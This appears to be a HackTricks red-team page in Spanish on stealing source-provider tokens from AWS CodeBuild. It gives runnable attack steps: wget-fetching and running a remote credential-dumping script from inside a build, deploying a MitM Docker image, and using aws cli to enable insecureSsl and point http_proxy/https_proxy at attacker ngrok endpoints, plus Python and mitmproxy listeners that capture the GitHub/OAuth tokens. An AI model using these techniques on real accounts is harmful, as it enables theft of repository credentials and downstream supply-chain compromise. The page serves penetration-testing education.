AWS Codebuild - Token Leakage

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Recuperar Tokens configurados de Github/Bitbucket

Primero, comprueba si hay credenciales de origen configuradas que puedas leak:

aws codebuild list-source-credentials

Mediante RCE en CodeBuild Job

Desde dentro de un CodeBuild job, puedes llamar a un endpoint no documentado de la API de AWS CodeBuild que te devolverá las credenciales usadas por CodeBuild. Esto puede usarse para obtener las credenciales con las que se configuró el CodeBuild job, p. ej. credenciales de AWS CodeConnection, OAUTH o PAT. El CodeBuild job no necesita privilegios para llamar a este endpoint y además es difícil de detectar en registro y monitorización, ya que el propio CodeBuild llama a este endpoint varias veces al iniciar.

La técnica se explica más a fondo en https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/ pero en resumen, para obtener credenciales desde dentro del CodeBuild job solo necesitas ejecutar lo siguiente:

python -m pip install botocore boto3 requests
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
python ./GetBuildInfo.py

Vía Docker Image

Si encuentras que la autenticación, por ejemplo a Github, está configurada en la cuenta, puedes exfiltrate ese access (GH token or OAuth token) haciendo que Codebuild use an specific docker image para ejecutar el build del proyecto.

Para este propósito podrías crear un nuevo Codebuild project o cambiar el environment de uno existente para establecer la Docker image.

La Docker image que podrías usar es https://github.com/carlospolop/docker-mitm. Esta es una Docker image muy básica que configurará las env variables https_proxy, http_proxy y SSL_CERT_FILE. Esto te permitirá interceptar la mayoría del tráfico del host indicado en https_proxy y http_proxy y confiar en el SSL CERT indicado en SSL_CERT_FILE.

  1. Crear & Subir tu propio Docker MitM image
  • Sigue las instrucciones del repo para establecer la IP de tu proxy y configurar tu SSL cert y build the docker image.
  • NO CONFIGURES http_proxy para no interceptar requests al metadata endpoint.
  • Puedes usar ngrok como ngrok tcp 4444 para setear el proxy a tu host
  • Una vez tengas la Docker image construida, subela a un repo público (Dockerhub, ECR…)
  1. Configurar el entorno
  • Crea un nuevo Codebuild project o modifica el environment de uno existente.
  • Configura el proyecto para usar la previously generated Docker image
  1. Configura el proxy MitM en tu host
  • Como se indica en el Github repo podrías usar algo como:
mitmproxy --listen-port 4444  --allow-hosts "github.com"

Tip

La versión de mitmproxy usada fue 9.0.1, se informó que con la versión 10 esto podría no funcionar.

  1. Ejecuta el build y captura las credenciales
  • Puedes ver el token en la cabecera Authorization:

Esto también se podría hacer desde el aws cli con algo como

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Vía insecureSSL

Los proyectos de Codebuild tienen una configuración llamada insecureSsl que está oculta en la interfaz web y solo se puede cambiar desde la API.
Activarlo permite a Codebuild conectarse al repositorio sin verificar el certificado ofrecido por la plataforma.

  • Primero necesitas enumerar la configuración actual con algo como:
aws codebuild batch-get-projects --name <proj-name>
  • Luego, con la información recopilada puedes actualizar la configuración del proyecto insecureSsl a True. A continuación hay un ejemplo de mi actualización de un proyecto; observa el insecureSsl=True al final (esto es lo único que necesitas cambiar de la configuración recopilada).
  • Además, agrega también las variables de entorno http_proxy y https_proxy apuntando a tu tcp ngrok así:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Finalmente, haz clic en Build the project, las credenciales serán enviadas en texto claro (base64) al puerto mitm:

Vía HTTP

[!TIP] > Esta vulnerabilidad fue corregida por AWS en algún momento de la semana del 20 de Feb de 2023 (creo que el viernes). Así que un atacante ya no puede abusar de ella :)

Un atacante con permisos elevados sobre un CodeBuild podría leak el token de Github/Bitbucket configurado o si los permisos se configuraron vía OAuth, el token OAuth temporal utilizado para acceder al código.

  • Un atacante podría añadir las variables de entorno http_proxy y https_proxy al proyecto CodeBuild apuntando a su máquina (por ejemplo http://5.tcp.eu.ngrok.io:14972).
  • Luego, cambia la URL del repo de github para usar HTTP en lugar de HTTPS, por ejemplo: http://github.com/carlospolop-forks/TestActions
  • Después, ejecuta el ejemplo básico de https://github.com/synchronizing/mitm en el puerto señalado por las variables proxy (http_proxy y https_proxy)
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • A continuación, haga clic en Construir el proyecto o inicie la compilión desde la línea de comandos:
aws codebuild start-build --project-name <proj-name>
  • Finalmente, las credentials serán enviadas en texto claro (base64) al puerto mitm:

Warning

Ahora un atacante podrá usar el token desde su máquina, listar todos los privilegios que tiene y (ab)use más fácilmente que usando el servicio CodeBuild directamente.

Ejecución de PR no confiable vía misconfiguración del filtro de webhook

Para la cadena de bypass del webhook activada por PR (ACTOR_ACCOUNT_ID regex + untrusted PR execution), consulte:

AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks